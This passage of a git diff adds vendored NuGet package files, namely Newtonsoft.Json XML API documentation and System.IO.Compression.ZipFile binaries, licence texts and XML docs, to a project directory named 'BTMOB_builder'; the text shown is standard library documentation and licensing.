referenced; otherwise, false. + + + + + Adds a reference to the specified object. + + The serialization context. + The reference. + The object to reference. + + + + Allows users to control class loading and mandate what class to load. + + + + + When implemented, controls the binding of a serialized object to a type. + + Specifies the name of the serialized object. + Specifies the name of the serialized object + The type of the object the formatter creates a new instance of. + + + + When implemented, controls the binding of a serialized object to a type. + + The type of the object the formatter creates a new instance of. + Specifies the name of the serialized object. + Specifies the name of the serialized object. + + + + Represents a trace writer. + + + + + Gets the that will be used to filter the trace messages passed to the writer. + For example a filter level of will exclude messages and include , + and messages. + + The that will be used to filter the trace messages passed to the writer. + + + + Writes the specified trace level, message and optional exception. + + The at which to write this trace. + The trace message. + The trace exception. This parameter is optional. + + + + Provides methods to get and set values. + + + + + Sets the value. + + The target to set the value on. + The value to set on the target. + + + + Gets the value. + + The target to get the value from. + The value. + + + + Contract details for a used by the . + + + + + Gets the of the collection items. + + The of the collection items. + + + + Gets a value indicating whether the collection type is a multidimensional array. + + true if the collection type is a multidimensional array; otherwise, false. + + + + Gets or sets the function used to create the object. When set this function will override . + + The function used to create the object. + + + + Gets a value indicating whether the creator has a parameter with the collection values. + + true if the creator has a parameter with the collection values; otherwise, false. + + + + Initializes a new instance of the class. + + The underlying type for the contract. + + + + Contract details for a used by the . + + + + + Gets or sets the default collection items . + + The converter. + + + + Gets or sets a value indicating whether the collection items preserve object references. + + true if collection items preserve object references; otherwise, false. + + + + Gets or sets the collection item reference loop handling. + + The reference loop handling. + + + + Gets or sets the collection item type name handling. + + The type name handling. + + + + Initializes a new instance of the class. + + The underlying type for the contract. + + + + Handles serialization callback events. + + The object that raised the callback event. + The streaming context. + + + + Handles serialization error callback events. + + The object that raised the callback event. + The streaming context. + The error context. + + + + Sets extension data for an object during deserialization. + + The object to set extension data on. + The extension data key. + The extension data value. + + + + Gets extension data for an object during serialization. + + The object to set extension data on. + + + + Contract details for a used by the . + + + + + Gets the underlying type for the contract. + + The underlying type for the contract. + + + + Gets or sets the type created during deserialization. + + The type created during deserialization. + + + + Gets or sets whether this type contract is serialized as a reference. + + Whether this type contract is serialized as a reference. + + + + Gets or sets the default for this contract. + + The converter. + + + + Gets the internally resolved for the contract's type. + This converter is used as a fallback converter when no other converter is resolved. + Setting will always override this converter. + + + + + Gets or sets all methods called immediately after deserialization of the object. + + The methods called immediately after deserialization of the object. + + + + Gets or sets all methods called during deserialization of the object. + + The methods called during deserialization of the object. + + + + Gets or sets all methods called after serialization of the object graph. + + The methods called after serialization of the object graph. + + + + Gets or sets all methods called before serialization of the object. + + The methods called before serialization of the object. + + + + Gets or sets all method called when an error is thrown during the serialization of the object. + + The methods called when an error is thrown during the serialization of the object. + + + + Gets or sets the default creator method used to create the object. + + The default creator method used to create the object. + + + + Gets or sets a value indicating whether the default creator is non-public. + + true if the default object creator is non-public; otherwise, false. + + + + Contract details for a used by the . + + + + + Gets or sets the dictionary key resolver. + + The dictionary key resolver. + + + + Gets the of the dictionary keys. + + The of the dictionary keys. + + + + Gets the of the dictionary values. + + The of the dictionary values. + + + + Gets or sets the function used to create the object. When set this function will override . + + The function used to create the object. + + + + Gets a value indicating whether the creator has a parameter with the dictionary values. + + true if the creator has a parameter with the dictionary values; otherwise, false. + + + + Initializes a new instance of the class. + + The underlying type for the contract. + + + + Contract details for a used by the . + + + + + Gets the object's properties. + + The object's properties. + + + + Gets or sets the property name resolver. + + The property name resolver. + + + + Initializes a new instance of the class. + + The underlying type for the contract. + + + + Contract details for a used by the . + + + + + Gets or sets the object constructor. + + The object constructor. + + + + Initializes a new instance of the class. + + The underlying type for the contract. + + + + Contract details for a used by the . + + + + + Initializes a new instance of the class. + + The underlying type for the contract. + + + + Contract details for a used by the . + + + + + Gets or sets the object member serialization. + + The member object serialization. + + + + Gets or sets the missing member handling used when deserializing this object. + + The missing member handling. + + + + Gets or sets a value that indicates whether the object's properties are required. + + + A value indicating whether the object's properties are required. + + + + + Gets or sets how the object's properties with null values are handled during serialization and deserialization. + + How the object's properties with null values are handled during serialization and deserialization. + + + + Gets the object's properties. + + The object's properties. + + + + Gets a collection of instances that define the parameters used with . + + + + + Gets or sets the function used to create the object. When set this function will override . + This function is called with a collection of arguments which are defined by the collection. + + The function used to create the object. + + + + Gets or sets the extension data setter. + + + + + Gets or sets the extension data getter. + + + + + Gets or sets the extension data value type. + + + + + Gets or sets the extension data name resolver. + + The extension data name resolver. + + + + Initializes a new instance of the class. + + The underlying type for the contract. + + + + Contract details for a used by the . + + + + + Initializes a new instance of the class. + + The underlying type for the contract. + + + + Maps a JSON property to a .NET member or constructor parameter. + + + + + Gets or sets the name of the property. + + The name of the property. + + + + Gets or sets the type that declared this property. + + The type that declared this property. + + + + Gets or sets the order of serialization of a member. + + The numeric order of serialization. + + + + Gets or sets the name of the underlying member or parameter. + + The name of the underlying member or parameter. + + + + Gets the that will get and set the during serialization. + + The that will get and set the during serialization. + + + + Gets or sets the for this property. + + The for this property. + + + + Gets or sets the type of the property. + + The type of the property. + + + + Gets or sets the for the property. + If set this converter takes precedence over the contract converter for the property type. + + The converter. + + + + Gets or sets the member converter. + + The member converter. + + + + Gets or sets a value indicating whether this is ignored. + + true if ignored; otherwise, false. + + + + Gets or sets a value indicating whether this is readable. + + true if readable; otherwise, false. + + + + Gets or sets a value indicating whether this is writable. + + true if writable; otherwise, false. + + + + Gets or sets a value indicating whether this has a member attribute. + + true if has a member attribute; otherwise, false. + + + + Gets the default value. + + The default value. + + + + Gets or sets a value indicating whether this is required. + + A value indicating whether this is required. + + + + Gets a value indicating whether has a value specified. + + + + + Gets or sets a value indicating whether this property preserves object references. + + + true if this instance is reference; otherwise, false. + + + + + Gets or sets the property null value handling. + + The null value handling. + + + + Gets or sets the property default value handling. + + The default value handling. + + + + Gets or sets the property reference loop handling. + + The reference loop handling. + + + + Gets or sets the property object creation handling. + + The object creation handling. + + + + Gets or sets or sets the type name handling. + + The type name handling. + + + + Gets or sets a predicate used to determine whether the property should be serialized. + + A predicate used to determine whether the property should be serialized. + + + + Gets or sets a predicate used to determine whether the property should be deserialized. + + A predicate used to determine whether the property should be deserialized. + + + + Gets or sets a predicate used to determine whether the property should be serialized. + + A predicate used to determine whether the property should be serialized. + + + + Gets or sets an action used to set whether the property has been deserialized. + + An action used to set whether the property has been deserialized. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Gets or sets the converter used when serializing the property's collection items. + + The collection's items converter. + + + + Gets or sets whether this property's collection items are serialized as a reference. + + Whether this property's collection items are serialized as a reference. + + + + Gets or sets the type name handling used when serializing the property's collection items. + + The collection's items type name handling. + + + + Gets or sets the reference loop handling used when serializing the property's collection items. + + The collection's items reference loop handling. + + + + A collection of objects. + + + + + Initializes a new instance of the class. + + The type. + + + + When implemented in a derived class, extracts the key from the specified element. + + The element from which to extract the key. + The key for the specified element. + + + + Adds a object. + + The property to add to the collection. + + + + Gets the closest matching object. + First attempts to get an exact case match of and then + a case insensitive match. + + Name of the property. + A matching property if found. + + + + Gets a property by property name. + + The name of the property to get. + Type property name string comparison. + A matching property if found. + + + + Contract details for a used by the . + + + + + Initializes a new instance of the class. + + The underlying type for the contract. + + + + Lookup and create an instance of the type described by the argument. + + The type to create. + Optional arguments to pass to an initializing constructor of the JsonConverter. + If null, the default constructor is used. + + + + A kebab case naming strategy. + + + + + Initializes a new instance of the class. + + + A flag indicating whether dictionary keys should be processed. + + + A flag indicating whether explicitly specified property names should be processed, + e.g. a property name customized with a . + + + + + Initializes a new instance of the class. + + + A flag indicating whether dictionary keys should be processed. + + + A flag indicating whether explicitly specified property names should be processed, + e.g. a property name customized with a . + + + A flag indicating whether extension data names should be processed. + + + + + Initializes a new instance of the class. + + + + + Resolves the specified property name. + + The property name to resolve. + The resolved property name. + + + + Represents a trace writer that writes to memory. When the trace message limit is + reached then old trace messages will be removed as new messages are added. + + + + + Gets the that will be used to filter the trace messages passed to the writer. + For example a filter level of will exclude messages and include , + and messages. + + + The that will be used to filter the trace messages passed to the writer. + + + + + Initializes a new instance of the class. + + + + + Writes the specified trace level, message and optional exception. + + The at which to write this trace. + The trace message. + The trace exception. This parameter is optional. + + + + Returns an enumeration of the most recent trace messages. + + An enumeration of the most recent trace messages. + + + + Returns a of the most recent trace messages. + + + A of the most recent trace messages. + + + + + A base class for resolving how property names and dictionary keys are serialized. + + + + + A flag indicating whether dictionary keys should be processed. + Defaults to false. + + + + + A flag indicating whether extension data names should be processed. + Defaults to false. + + + + + A flag indicating whether explicitly specified property names, + e.g. a property name customized with a , should be processed. + Defaults to false. + + + + + Gets the serialized name for a given property name. + + The initial property name. + A flag indicating whether the property has had a name explicitly specified. + The serialized property name. + + + + Gets the serialized name for a given extension data name. + + The initial extension data name. + The serialized extension data name. + + + + Gets the serialized key for a given dictionary key. + + The initial dictionary key. + The serialized dictionary key. + + + + Resolves the specified property name. + + The property name to resolve. + The resolved property name. + + + + Hash code calculation + + + + + + Object equality implementation + + + + + + + Compare to another NamingStrategy + + + + + + + Represents a method that constructs an object. + + The object type to create. + + + + When applied to a method, specifies that the method is called when an error occurs serializing an object. + + + + + Provides methods to get attributes from a , , or . + + + + + Initializes a new instance of the class. + + The instance to get attributes for. This parameter should be a , , or . + + + + Returns a collection of all of the attributes, or an empty collection if there are no attributes. + + When true, look up the hierarchy chain for the inherited custom attribute. + A collection of s, or an empty collection. + + + + Returns a collection of attributes, identified by type, or an empty collection if there are no attributes. + + The type of the attributes. + When true, look up the hierarchy chain for the inherited custom attribute. + A collection of s, or an empty collection. + + + + Get and set values for a using reflection. + + + + + Initializes a new instance of the class. + + The member info. + + + + Sets the value. + + The target to set the value on. + The value to set on the target. + + + + Gets the value. + + The target to get the value from. + The value. + + + + A snake case naming strategy. + + + + + Initializes a new instance of the class. + + + A flag indicating whether dictionary keys should be processed. + + + A flag indicating whether explicitly specified property names should be processed, + e.g. a property name customized with a . + + + + + Initializes a new instance of the class. + + + A flag indicating whether dictionary keys should be processed. + + + A flag indicating whether explicitly specified property names should be processed, + e.g. a property name customized with a . + + + A flag indicating whether extension data names should be processed. + + + + + Initializes a new instance of the class. + + + + + Resolves the specified property name. + + The property name to resolve. + The resolved property name. + + + + Specifies how strings are escaped when writing JSON text. + + + + + Only control characters (e.g. newline) are escaped. + + + + + All non-ASCII and control characters (e.g. newline) are escaped. + + + + + HTML (<, >, &, ', ") and control characters (e.g. newline) are escaped. + + + + + Indicates the method that will be used during deserialization for locating and loading assemblies. + + + + + In simple mode, the assembly used during deserialization need not match exactly the assembly used during serialization. Specifically, the version numbers need not match as the LoadWithPartialName method of the class is used to load the assembly. + + + + + In full mode, the assembly used during deserialization must match exactly the assembly used during serialization. The Load method of the class is used to load the assembly. + + + + + Specifies type name handling options for the . + + + should be used with caution when your application deserializes JSON from an external source. + Incoming types should be validated with a custom + when deserializing with a value other than . + + + + + Do not include the .NET type name when serializing types. + + + + + Include the .NET type name when serializing into a JSON object structure. + + + + + Include the .NET type name when serializing into a JSON array structure. + + + + + Always include the .NET type name when serializing. + + + + + Include the .NET type name when the type of the object being serialized is not the same as its declared type. + Note that this doesn't include the root serialized object by default. To include the root object's type name in JSON + you must specify a root type object with + or . + + + + + Determines whether the collection is null or empty. + + The collection. + + true if the collection is null or empty; otherwise, false. + + + + + Adds the elements of the specified collection to the specified generic . + + The list to add to. + The collection of elements to add. + + + + Converts the value to the specified type. If the value is unable to be converted, the + value is checked whether it assignable to the specified type. + + The value to convert. + The culture to use when converting. + The type to convert or cast the value to. + + The converted type. If conversion was unsuccessful, the initial value + is returned if assignable to the target type. + + + + + Helper method for generating a MetaObject which calls a + specific method on Dynamic that returns a result + + + + + Helper method for generating a MetaObject which calls a + specific method on Dynamic, but uses one of the arguments for + the result. + + + + + Helper method for generating a MetaObject which calls a + specific method on Dynamic, but uses one of the arguments for + the result. + + + + + Returns a Restrictions object which includes our current restrictions merged + with a restriction limiting our type + + + + + Helper class for serializing immutable collections. + Note that this is used by all builds, even those that don't support immutable collections, in case the DLL is GACed + https://github.com/JamesNK/Newtonsoft.Json/issues/652 + + + + + Gets the type of the typed collection's items. + + The type. + The type of the typed collection's items. + + + + Gets the member's underlying type. + + The member. + The underlying type of the member. + + + + Determines whether the property is an indexed property. + + The property. + + true if the property is an indexed property; otherwise, false. + + + + + Gets the member's value on the object. + + The member. + The target object. + The member's value on the object. + + + + Sets the member's value on the target object. + + The member. + The target. + The value. + + + + Determines whether the specified MemberInfo can be read. + + The MemberInfo to determine whether can be read. + /// if set to true then allow the member to be gotten non-publicly. + + true if the specified MemberInfo can be read; otherwise, false. + + + + + Determines whether the specified MemberInfo can be set. + + The MemberInfo to determine whether can be set. + if set to true then allow the member to be set non-publicly. + if set to true then allow the member to be set if read-only. + + true if the specified MemberInfo can be set; otherwise, false. + + + + + Builds a string. Unlike this class lets you reuse its internal buffer. + + + + + Determines whether the string is all white space. Empty string will return false. + + The string to test whether it is all white space. + + true if the string is all white space; otherwise, false. + + + + + Specifies the state of the . + + + + + An exception has been thrown, which has left the in an invalid state. + You may call the method to put the in the Closed state. + Any other method calls result in an being thrown. + + + + + The method has been called. + + + + + An object is being written. + + + + + An array is being written. + + + + + A constructor is being written. + + + + + A property is being written. + + + + + A write method has not been called. + + + + Specifies that an output will not be null even if the corresponding type allows it. + + + Specifies that when a method returns , the parameter will not be null even if the corresponding type allows it. + + + Initializes the attribute with the specified return value condition. + + The return value condition. If the method returns this value, the associated parameter will not be null. + + + + Gets the return value condition. + + + Specifies that an output may be null even if the corresponding type disallows it. + + + Specifies that null is allowed as an input even if the corresponding type disallows it. + + + + Specifies that the method will not return if the associated Boolean parameter is passed the specified value. + + + + + Initializes a new instance of the class. + + + The condition parameter value. Code after the method will be considered unreachable by diagnostics if the argument to + the associated parameter matches this value. + + + + Gets the condition parameter value. + + + diff --git a/BTMOB_builder/packages/Newtonsoft.Json.13.0.3/packageIcon.png b/BTMOB_builder/packages/Newtonsoft.Json.13.0.3/packageIcon.png new file mode 100644 index 0000000..10c06a5 Binary files /dev/null and b/BTMOB_builder/packages/Newtonsoft.Json.13.0.3/packageIcon.png differ diff --git a/BTMOB_builder/packages/System.IO.Compression.ZipFile.4.3.0/.signature.p7s b/BTMOB_builder/packages/System.IO.Compression.ZipFile.4.3.0/.signature.p7s new file mode 100644 index 0000000..488f18f Binary files /dev/null and b/BTMOB_builder/packages/System.IO.Compression.ZipFile.4.3.0/.signature.p7s differ diff --git a/BTMOB_builder/packages/System.IO.Compression.ZipFile.4.3.0/System.IO.Compression.ZipFile.4.3.0.nupkg b/BTMOB_builder/packages/System.IO.Compression.ZipFile.4.3.0/System.IO.Compression.ZipFile.4.3.0.nupkg new file mode 100644 index 0000000..4965365 Binary files /dev/null and b/BTMOB_builder/packages/System.IO.Compression.ZipFile.4.3.0/System.IO.Compression.ZipFile.4.3.0.nupkg differ diff --git a/BTMOB_builder/packages/System.IO.Compression.ZipFile.4.3.0/ThirdPartyNotices.txt b/BTMOB_builder/packages/System.IO.Compression.ZipFile.4.3.0/ThirdPartyNotices.txt new file mode 100644 index 0000000..3da4f19 --- /dev/null +++ b/BTMOB_builder/packages/System.IO.Compression.ZipFile.4.3.0/ThirdPartyNotices.txt @@ -0,0 +1,31 @@ +This Microsoft .NET Library may incorporate components from the projects listed +below. Microsoft licenses these components under the Microsoft .NET Library +software license terms. The original copyright notices and the licenses under +which Microsoft received such components are set forth below for informational +purposes only. Microsoft reserves all rights not expressly granted herein, +whether by implication, estoppel or otherwise. + +1. .NET Core (https://github.com/dotnet/core/) + +.NET Core +Copyright (c) .NET Foundation and Contributors + +The MIT License (MIT) + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. \ No newline at end of file diff --git a/BTMOB_builder/packages/System.IO.Compression.ZipFile.4.3.0/dotnet_library_license.txt b/BTMOB_builder/packages/System.IO.Compression.ZipFile.4.3.0/dotnet_library_license.txt new file mode 100644 index 0000000..c9a54fc --- /dev/null +++ b/BTMOB_builder/packages/System.IO.Compression.ZipFile.4.3.0/dotnet_library_license.txt @@ -0,0 +1,128 @@ + +MICROSOFT SOFTWARE LICENSE TERMS + + +MICROSOFT .NET LIBRARY + +These license terms are an agreement between Microsoft Corporation (or based on where you live, one of its affiliates) and you. Please read them. They apply to the software named above, which includes the media on which you received it, if any. The terms also apply to any Microsoft + +· updates, + +· supplements, + +· Internet-based services, and + +· support services + +for this software, unless other terms accompany those items. If so, those terms apply. + +BY USING THE SOFTWARE, YOU ACCEPT THESE TERMS. IF YOU DO NOT ACCEPT THEM, DO NOT USE THE SOFTWARE. + + +IF YOU COMPLY WITH THESE LICENSE TERMS, YOU HAVE THE PERPETUAL RIGHTS BELOW. + +1. INSTALLATION AND USE RIGHTS. + +a. Installation and Use. You may install and use any number of copies of the software to design, develop and test your programs. + +b. Third Party Programs. The software may include third party programs that Microsoft, not the third party, licenses to you under this agreement. Notices, if any, for the third party program are included for your information only. + +2. ADDITIONAL LICENSING REQUIREMENTS AND/OR USE RIGHTS. + +a. DISTRIBUTABLE CODE. The software is comprised of Distributable Code. “Distributable Code” is code that you are permitted to distribute in programs you develop if you comply with the terms below. + +i. Right to Use and Distribute. + +· You may copy and distribute the object code form of the software. + +· Third Party Distribution. You may permit distributors of your programs to copy and distribute the Distributable Code as part of those programs. + +ii. Distribution Requirements. For any Distributable Code you distribute, you must + +· add significant primary functionality to it in your programs; + +· require distributors and external end users to agree to terms that protect it at least as much as this agreement; + +· display your valid copyright notice on your programs; and + +· indemnify, defend, and hold harmless Microsoft from any claims, including attorneys’ fees, related to the distribution or use of your programs. + +iii. Distribution Restrictions. You may not + +· alter any copyright, trademark or patent notice in the Distributable Code; + +· use Microsoft’s trademarks in your programs’ names or in a way that suggests your programs come from or are endorsed by Microsoft; + +· include Distributable Code in malicious, deceptive or unlawful programs; or + +· modify or distribute the source code of any Distributable Code so that any part of it becomes subject to an Excluded License. An Excluded License is one that requires, as a condition of use, modification or distribution, that + +· the code be disclosed or distributed in source code form; or + +· others have the right to modify it. + +3. SCOPE OF LICENSE. The software is licensed, not sold. This agreement only gives you some rights to use the software. Microsoft reserves all other rights. Unless applicable law gives you more rights despite this limitation, you may use the software only as expressly permitted in this agreement. In doing so, you must comply with any technical limitations in the software that only allow you to use it in certain ways. You may not + +· work around any technical limitations in the software; + +· reverse engineer, decompile or disassemble the software, except and only to the extent that applicable law expressly permits, despite this limitation; + +· publish the software for others to copy; + +· rent, lease or lend the software; + +· transfer the software or this agreement to any third party; or + +· use the software for commercial software hosting services. + +4. BACKUP COPY. You may make one backup copy of the software. You may use it only to reinstall the software. + +5. DOCUMENTATION. Any person that has valid access to your computer or internal network may copy and use the documentation for your internal, reference purposes. + +6. EXPORT RESTRICTIONS. The software is subject to United States export laws and regulations. You must comply with all domestic and international export laws and regulations that apply to the software. These laws include restrictions on destinations, end users and end use. For additional information, see www.microsoft.com/exporting. + +7. SUPPORT SERVICES. Because this software is “as is,” we may not provide support services for it. + +8. ENTIRE AGREEMENT. This agreement, and the terms for supplements, updates, Internet-based services and support services that you use, are the entire agreement for the software and support services. + +9. APPLICABLE LAW. + +a. United States. If you acquired the software in the United States, Washington state law governs the interpretation of this agreement and applies to claims for breach of it, regardless of conflict of laws principles. The laws of the state where you live govern all other claims, including claims under state consumer protection laws, unfair competition laws, and in tort. + +b. Outside the United States. If you acquired the software in any other country, the laws of that country apply. + +10. LEGAL EFFECT. This agreement describes certain legal rights. You may have other rights under the laws of your country. You may also have rights with respect to the party from whom you acquired the software. This agreement does not change your rights under the laws of your country if the laws of your country do not permit it to do so. + +11. DISCLAIMER OF WARRANTY. THE SOFTWARE IS LICENSED “AS-IS.” YOU BEAR THE RISK OF USING IT. MICROSOFT GIVES NO EXPRESS WARRANTIES, GUARANTEES OR CONDITIONS. YOU MAY HAVE ADDITIONAL CONSUMER RIGHTS OR STATUTORY GUARANTEES UNDER YOUR LOCAL LAWS WHICH THIS AGREEMENT CANNOT CHANGE. TO THE EXTENT PERMITTED UNDER YOUR LOCAL LAWS, MICROSOFT EXCLUDES THE IMPLIED WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. + +FOR AUSTRALIA – YOU HAVE STATUTORY GUARANTEES UNDER THE AUSTRALIAN CONSUMER LAW AND NOTHING IN THESE TERMS IS INTENDED TO AFFECT THOSE RIGHTS. + +12. LIMITATION ON AND EXCLUSION OF REMEDIES AND DAMAGES. YOU CAN RECOVER FROM MICROSOFT AND ITS SUPPLIERS ONLY DIRECT DAMAGES UP TO U.S. $5.00. YOU CANNOT RECOVER ANY OTHER DAMAGES, INCLUDING CONSEQUENTIAL, LOST PROFITS, SPECIAL, INDIRECT OR INCIDENTAL DAMAGES. + +This limitation applies to + +· anything related to the software, services, content (including code) on third party Internet sites, or third party programs; and + +· claims for breach of contract, breach of warranty, guarantee or condition, strict liability, negligence, or other tort to the extent permitted by applicable law. + +It also applies even if Microsoft knew or should have known about the possibility of the damages. The above limitation or exclusion may not apply to you because your country may not allow the exclusion or limitation of incidental, consequential or other damages. + +Please note: As this software is distributed in Quebec, Canada, some of the clauses in this agreement are provided below in French. + +Remarque : Ce logiciel étant distribué au Québec, Canada, certaines des clauses dans ce contrat sont fournies ci-dessous en français. + +EXONÉRATION DE GARANTIE. Le logiciel visé par une licence est offert « tel quel ». Toute utilisation de ce logiciel est à votre seule risque et péril. Microsoft n’accorde aucune autre garantie expresse. Vous pouvez bénéficier de droits additionnels en vertu du droit local sur la protection des consommateurs, que ce contrat ne peut modifier. La ou elles sont permises par le droit locale, les garanties implicites de qualité marchande, d’adéquation à un usage particulier et d’absence de contrefaçon sont exclues. + +LIMITATION DES DOMMAGES-INTÉRÊTS ET EXCLUSION DE RESPONSABILITÉ POUR LES DOMMAGES. Vous pouvez obtenir de Microsoft et de ses fournisseurs une indemnisation en cas de dommages directs uniquement à hauteur de 5,00 $ US. Vous ne pouvez prétendre à aucune indemnisation pour les autres dommages, y compris les dommages spéciaux, indirects ou accessoires et pertes de bénéfices. + +Cette limitation concerne : + +· tout ce qui est relié au logiciel, aux services ou au contenu (y compris le code) figurant sur des sites Internet tiers ou dans des programmes tiers ; et + +· les réclamations au titre de violation de contrat ou de garantie, ou au titre de responsabilité stricte, de négligence ou d’une autre faute dans la limite autorisée par la loi en vigueur. + +Elle s’applique également, même si Microsoft connaissait ou devrait connaître l’éventualité d’un tel dommage. Si votre pays n’autorise pas l’exclusion ou la limitation de responsabilité pour les dommages indirects, accessoires ou de quelque nature que ce soit, il se peut que la limitation ou l’exclusion ci-dessus ne s’appliquera pas à votre égard. + +EFFET JURIDIQUE. Le présent contrat décrit certains droits juridiques. Vous pourriez avoir d’autres droits prévus par les lois de votre pays. Le présent contrat ne modifie pas les droits que vous confèrent les lois de votre pays si celles-ci ne le permettent pas. + + diff --git a/BTMOB_builder/packages/System.IO.Compression.ZipFile.4.3.0/lib/MonoAndroid10/_._ b/BTMOB_builder/packages/System.IO.Compression.ZipFile.4.3.0/lib/MonoAndroid10/_._ new file mode 100644 index 0000000..e69de29 diff --git a/BTMOB_builder/packages/System.IO.Compression.ZipFile.4.3.0/lib/MonoTouch10/_._ b/BTMOB_builder/packages/System.IO.Compression.ZipFile.4.3.0/lib/MonoTouch10/_._ new file mode 100644 index 0000000..e69de29 diff --git a/BTMOB_builder/packages/System.IO.Compression.ZipFile.4.3.0/lib/net46/System.IO.Compression.ZipFile.dll b/BTMOB_builder/packages/System.IO.Compression.ZipFile.4.3.0/lib/net46/System.IO.Compression.ZipFile.dll new file mode 100644 index 0000000..23a12b8 Binary files /dev/null and b/BTMOB_builder/packages/System.IO.Compression.ZipFile.4.3.0/lib/net46/System.IO.Compression.ZipFile.dll differ diff --git a/BTMOB_builder/packages/System.IO.Compression.ZipFile.4.3.0/lib/netstandard1.3/System.IO.Compression.ZipFile.dll b/BTMOB_builder/packages/System.IO.Compression.ZipFile.4.3.0/lib/netstandard1.3/System.IO.Compression.ZipFile.dll new file mode 100644 index 0000000..2f16e01 Binary files /dev/null and b/BTMOB_builder/packages/System.IO.Compression.ZipFile.4.3.0/lib/netstandard1.3/System.IO.Compression.ZipFile.dll differ diff --git a/BTMOB_builder/packages/System.IO.Compression.ZipFile.4.3.0/lib/xamarinios10/_._ b/BTMOB_builder/packages/System.IO.Compression.ZipFile.4.3.0/lib/xamarinios10/_._ new file mode 100644 index 0000000..e69de29 diff --git a/BTMOB_builder/packages/System.IO.Compression.ZipFile.4.3.0/lib/xamarinmac20/_._ b/BTMOB_builder/packages/System.IO.Compression.ZipFile.4.3.0/lib/xamarinmac20/_._ new file mode 100644 index 0000000..e69de29 diff --git a/BTMOB_builder/packages/System.IO.Compression.ZipFile.4.3.0/lib/xamarintvos10/_._ b/BTMOB_builder/packages/System.IO.Compression.ZipFile.4.3.0/lib/xamarintvos10/_._ new file mode 100644 index 0000000..e69de29 diff --git a/BTMOB_builder/packages/System.IO.Compression.ZipFile.4.3.0/lib/xamarinwatchos10/_._ b/BTMOB_builder/packages/System.IO.Compression.ZipFile.4.3.0/lib/xamarinwatchos10/_._ new file mode 100644 index 0000000..e69de29 diff --git a/BTMOB_builder/packages/System.IO.Compression.ZipFile.4.3.0/ref/MonoAndroid10/_._ b/BTMOB_builder/packages/System.IO.Compression.ZipFile.4.3.0/ref/MonoAndroid10/_._ new file mode 100644 index 0000000..e69de29 diff --git a/BTMOB_builder/packages/System.IO.Compression.ZipFile.4.3.0/ref/MonoTouch10/_._ b/BTMOB_builder/packages/System.IO.Compression.ZipFile.4.3.0/ref/MonoTouch10/_._ new file mode 100644 index 0000000..e69de29 diff --git a/BTMOB_builder/packages/System.IO.Compression.ZipFile.4.3.0/ref/net46/System.IO.Compression.ZipFile.dll b/BTMOB_builder/packages/System.IO.Compression.ZipFile.4.3.0/ref/net46/System.IO.Compression.ZipFile.dll new file mode 100644 index 0000000..23a12b8 Binary files /dev/null and b/BTMOB_builder/packages/System.IO.Compression.ZipFile.4.3.0/ref/net46/System.IO.Compression.ZipFile.dll differ diff --git a/BTMOB_builder/packages/System.IO.Compression.ZipFile.4.3.0/ref/netstandard1.3/System.IO.Compression.ZipFile.dll b/BTMOB_builder/packages/System.IO.Compression.ZipFile.4.3.0/ref/netstandard1.3/System.IO.Compression.ZipFile.dll new file mode 100644 index 0000000..ea2aa7f Binary files /dev/null and b/BTMOB_builder/packages/System.IO.Compression.ZipFile.4.3.0/ref/netstandard1.3/System.IO.Compression.ZipFile.dll differ diff --git a/BTMOB_builder/packages/System.IO.Compression.ZipFile.4.3.0/ref/netstandard1.3/System.IO.Compression.ZipFile.xml b/BTMOB_builder/packages/System.IO.Compression.ZipFile.4.3.0/ref/netstandard1.3/System.IO.Compression.ZipFile.xml new file mode 100644 index 0000000..59a4921 --- /dev/null +++ b/BTMOB_builder/packages/System.IO.Compression.ZipFile.4.3.0/ref/netstandard1.3/System.IO.Compression.ZipFile.xml @@ -0,0 +1,276 @@ + + + + System.IO.Compression.ZipFile + + + + Provides static methods for creating, extracting, and opening zip archives. + + + Creates a zip archive that contains the files and directories from the specified directory. + The path to the directory to be archived, specified as a relative or absolute path. A relative path is interpreted as relative to the current working directory. + The path of the archive to be created, specified as a relative or absolute path. A relative path is interpreted as relative to the current working directory. + + or is , contains only white space, or contains at least one invalid character. + + or is null. + In or , the specified path, file name, or both exceed the system-defined maximum length. For example, on Windows-based platforms, paths must not exceed 248 characters, and file names must not exceed 260 characters. + + is invalid or does not exist (for example, it is on an unmapped drive). + + already exists.-or-A file in the specified directory could not be opened. + + specifies a directory.-or-The caller does not have the required permission to access the directory specified in or the file specified in . + + or contains an invalid format.-or-The zip archive does not support writing. + + + Creates a zip archive that contains the files and directories from the specified directory, uses the specified compression level, and optionally includes the base directory. + The path to the directory to be archived, specified as a relative or absolute path. A relative path is interpreted as relative to the current working directory. + The path of the archive to be created, specified as a relative or absolute path. A relative path is interpreted as relative to the current working directory. + One of the enumeration values that indicates whether to emphasize speed or compression effectiveness when creating the entry. + true to include the directory name from at the root of the archive; false to include only the contents of the directory. + + or is , contains only white space, or contains at least one invalid character. + + or is null. + In or , the specified path, file name, or both exceed the system-defined maximum length. For example, on Windows-based platforms, paths must not exceed 248 characters, and file names must not exceed 260 characters. + + is invalid or does not exist (for example, it is on an unmapped drive). + + already exists.-or-A file in the specified directory could not be opened. + + specifies a directory.-or-The caller does not have the required permission to access the directory specified in or the file specified in . + + or contains an invalid format.-or-The zip archive does not support writing. + + + Creates a zip archive that contains the files and directories from the specified directory, uses the specified compression level and character encoding for entry names, and optionally includes the base directory. + The path to the directory to be archived, specified as a relative or absolute path. A relative path is interpreted as relative to the current working directory. + The path of the archive to be created, specified as a relative or absolute path. A relative path is interpreted as relative to the current working directory. + One of the enumeration values that indicates whether to emphasize speed or compression effectiveness when creating the entry. + true to include the directory name from at the root of the archive; false to include only the contents 